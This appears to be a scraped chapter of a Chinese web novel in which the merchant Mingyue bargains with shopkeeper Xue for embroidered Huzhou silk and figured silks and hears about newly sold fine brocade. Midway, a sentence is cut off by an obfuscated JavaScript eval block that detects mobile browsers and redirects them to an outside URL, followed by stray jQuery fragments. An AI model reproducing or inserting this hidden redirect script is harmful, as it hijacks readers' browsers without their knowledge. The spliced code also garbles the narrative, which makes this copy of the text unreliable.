酷暑难熬，衣料宜清爽，最凉快的料子莫过于绫罗绡纱，奈何后二者太过单薄，十分透肉，只适合做批帛、罩衣之流，不似绫罗可单穿，又贵，因此这回仍以绫罗为主。


    薛掌柜便将近来新出的几样花色相荐，自然样样都好。


    怎管她舌灿莲花，明月自不动如山，皆一一细看过，自有取舍，“绣毬虽好，然北方罕见，且北人多爱大开大合的爽朗花卉，此花朵紧促窄小，未必受喜，先不要它。松花配藕粉，大胆又富贵，上头的金紫葡萄纹也好看，来一匹。天水碧底色的佛手罗要一匹……”


    她一行说，薛掌柜一行指使伙计登记、取货，见她脚步一顿，立刻顺着望过去，“要不我说有缘呢，昨儿才来的宝贝，杂宝苏绣呢，一共六匹，方才那家子一口气要了四匹去，眼下就剩两匹了。”


    无论什么，只要有人抢，其魅力自平添三分。一番话说得明月心跳加速，掌心沁出薄汗。


    若以花样区分，布料可大略分为“素”和“花”两类，前者是光面单色，后者就复杂得多了，可染色，可提花，亦可以先行染色的丝线通分经纬，直接织造出各样杂色图画，更可制成后手绘、刺绣。


    眼前这匹，便是刺绣中的顶级，苏绣。


    苏绣娇贵异常，一点儿脏污都沾染不得，明月忙重新净手，戴上薛掌柜递来的面巾，如此便可隔绝唾沫星儿，可以放心凑近了细看。


    “湖丝缎配苏绣？果然好东西。”


    越是好丝越不爱染深色，如此方能最大限度凸显丝质，眼前这匹亦不例外：


    月白色薄缎面柔滑似水、轻若无物，表面零星散布着杂宝小团花绣纹，间隔约一掌为一排，每排每隔三寸一绣花。


    “杂宝”意为“杂乱的宝物”，组合并不固定，眼前为双方胜、珊瑚、犀角、芭蕉叶、银锭、火珠和书宝，上缠璎珞、飘带，十分轻盈，另有小团花为正反交错缠枝莲花纹，寓意极佳。


    绣纹不过围棋子大小，纤毫毕现，亦简亦奢，宜公宜私，男女皆可，老少咸宜，当真是说不尽的低调富贵，道不清的雅致排场。


    这东西太好了，明月从未经历过的好，她就不信赵太太看了不心动，于是立刻决定拿下。


    “二十两，”薛掌柜檀口微张，贝齿轻启，丢出惊人之语，“不二价。”


    “多少？！”饶是早有准备，明月也难掩震惊，眼睛当真瞪得小月亮一般，“这还是小匹呢！”


    市面上常见的民用料子大多四丈一匹，宽二尺，够做成年女子中衫加一条裙子，再加男子外套中衫、内搭长衫和裤子的两大套！


    可眼前这匹湖丝苏绣罗只有两丈，是按“幅”卖的，仅够一套！


    不，寻常人裁剪衣裳简直糟蹋了，做屏风都使得。


    “湖丝如何我自不必说，单看这上头的苏绣吧，这样精细的洒地满绣小花，一个绣娘豁出命去也得绣一个月！”真话假话，买卖场上做惯了的薛掌柜张嘴就来。


    “哪里来的这样稀的满绣！”明月啼笑皆非，真是无奸不商，冷不丁就要糊弄，“中间都隔了一个大巴掌！”


    若果然是满绣，价钱少说翻两番！


    通常来讲，湖丝可以卖到普通丝的一倍到一倍半，似眼前这般厚度，两丈普通素色丝市价约一两半，这一小卷的底布顶了天值四两！


    换言之，那几团小小“围棋子”苏绣独占十六两！


    十六两啊！够寻常四口之家吃大半年，中上等的绫罗也能买五匹了！


    没见到这匹布之前，明月有许多打算，想多多入好货拿下赵太太，可如今看了它，什么念想都没了。


    说句不中听的，哪怕马家人自己不舍得穿，也必会买下送人！


    明月心里的算盘珠子拨得啪啪响：我有九十七两，为保万一，仍留出二十七两以备不时之需，还剩七十两。两匹湖丝苏绣四十两，还能有三十两采买旁的货，足够了。


    不对，还有回去的路费……差点忘了！


    “此等纹样原本只是上头的人自己做来穿的，实在琐碎，工期又长，再等下批可就得到六七月啦。”薛掌柜平静的嗓音中满是诱惑，“届时还能不能有这个纹样，我也说不准。”


    六七月，明月心里有了底，那就是要赶中秋节喽，看来这几匹也是薛掌柜提前放出来试水的。


    “这样，方才的佛手、葡萄染色罗，灵芝云纹提花罗，龟背祥云绫我都要，日后必然再来，”她直直望向薛掌柜，“我不纠缠，您也透个底，都痛快些，这两匹三十六两，那些个寻常的绫罗也比照上回的让一让利，如何？”


    “让归让，你怎好叫我亏本！”薛掌柜拉着她的手，大吐苦水，“料子不是越薄了越贱，花也不是越多越贵……苏绣着实让不动，三十八，你若觉得好呢，我这就叫人包起来，还额外配一副绢布包袱皮。若不成呢，买卖不成仁义在，咱们再看旁的。”


    明月亦知苏绣价高，况且此等杂宝花纹市面上极少，确实没多大讲头。不过做买卖么，成不成的，总得砍一刀试试，不然总觉得少了点什么……


    佛手和葡萄罗与上次同价，二两半一匹，灵芝云纹和龟背云纹工艺繁琐些，要价就高，最后讲到三两二钱一匹，总共是四十九两四钱。


    留出十两路费、住宿，还能用十两，明月又要了一匹缠枝宝相花、一匹松鹤延年罗，前者求平安、祈愿、拜佛皆可，后者可做寿礼，颜色也大方，男女皆可。


    上回四匹嫌少，这回八匹也多不到哪里去……不过超过十匹便要纳税，以后也要正经想个法子才好。


    明月龇牙咧嘴数出去五十六两，成功逗得薛掌柜笑得花枝乱颤，“妹子，本钱大，利也高呀。你年岁虽小，却极有魄力，又肯吃苦，来日定能闯出一番天地。”


    薛掌柜人生得娇俏，一口流利官话中江南风情微露，呱唧呱唧夸起人来尤为动听，即便明月同为女子，亦不免喜形于色，“姐姐过誉，借您吉言吧！”


    “放心吧，”薛掌柜胸有成竹道，“我素来看人极准！”


    夸奖归夸奖，买卖归买卖，穷鬼附体的明月却没忘了正事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632018|172028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，“时下多雨，劳烦多裹几层油纸。”


    顿了顿，又笑嘻嘻道：“若您肯多送一层防水油布就更好啦！”


    薛掌柜用涂了鲜红豆蔻的指头虚虚朝她一点，“瞧瞧，打蛇随棍上。”


    说着，果然叫伙计去后头拿了好大一摞油布，喜得明月连连道谢。


    若去外头买时，这么些油布也得一百多文呢。


    不多时，料子俱包好，尤其那两匹湖丝苏绣，硬生生裹了六层，当真水泼不进，哪怕往泥潭滚一圈亦不妨碍。


    额外竟还多出一包来，却听薛掌柜轻描淡写道：“这两个月又攒了两斤零料，若不嫌弃，拿去玩儿吧。”


    她喜欢与痛快人打交道，也喜欢交朋友，只要合了胃口，并不介意仨瓜俩枣的。


    一斤零料才六百钱，加起来不够折腾的，不如白送赚个人缘。


    明月不料还有这般意外之喜，花钱的肉痛顿时去了大半，好话倾泻而出，“不嫌弃不嫌弃，掌柜的您处事大方，难怪能赚下恁大家业，依我说，好日子且在后头呢！”


    东西虽少，放在别的店铺也要花银子买呢！


    白得的就是香！


    “咱们都过好日子，”薛掌柜爽朗笑道，“说起来，你若七月来，非但有杂宝苏绣，还能赶上锦呢。”


    “锦也有得卖？！”明月诧异道。


    非她大惊小怪，皆因锦缎工艺繁琐、成本高昂，历来为官营作坊垄断，多用于裁制龙袍、凤袍、蟒褂、官服补子等，或内外赏赐，乃达官显贵专用之物。纵机缘巧合流传在外，数量也极少，非手眼通天的大店铺不可得，更不会大剌剌摆出来公然售卖。


    像明家布庄经营十多年，就从未卖过锦缎，因为根本进不到货！


    “那都是多少年前的老黄历了，”薛掌柜一副见怪不怪的样子，叫人上了喷香好茶和蜜煎杨梅、香煎樱桃两样点心，仍去上回的位置坐着细说，“上用、官用的重锦咱们自然不敢碰，可细锦却使得……”【注1】


    如今各处经济繁荣，旧日衣裳早已不能满足豪商巨贾的胃口，他们多的是银子没处花，又不敢冒犯国法，便想了个法儿：将那织金绣银的重锦稍作删减，以更细的丝线，配合重数更少的长梭织就轻薄一等的细锦。


    “丝绸买卖且大着呢，你只管做吧。”薛掌柜以过来人的身份意味深长道，见明月不耐热，又叫人去外头买了鲜果冰酪碗子与她吃。


    利欲熏心不是说着耍的，锦缎算得了什么呢？只要出的价格够高，便是西洋来的贡品，下头的人也纺得出！


    明月目瞪口呆，好个道高一尺、魔高一丈啊！


    她既懊恼出来晚了，错过如此多的世事变迁；又不禁侥幸，没有继续停滞不前。


    果然还是出来好！


    不过因为听得太入迷，她压根儿没顾得上细细品尝鲜果冰酪碗！只隐约记得酸酸甜甜冰冰凉凉，在嘴里一晃，就顺着喉咙下去了。


    明月痛心疾首，十多个大钱一碗呢，她都没舍得买过，竟没尝着味儿就没了！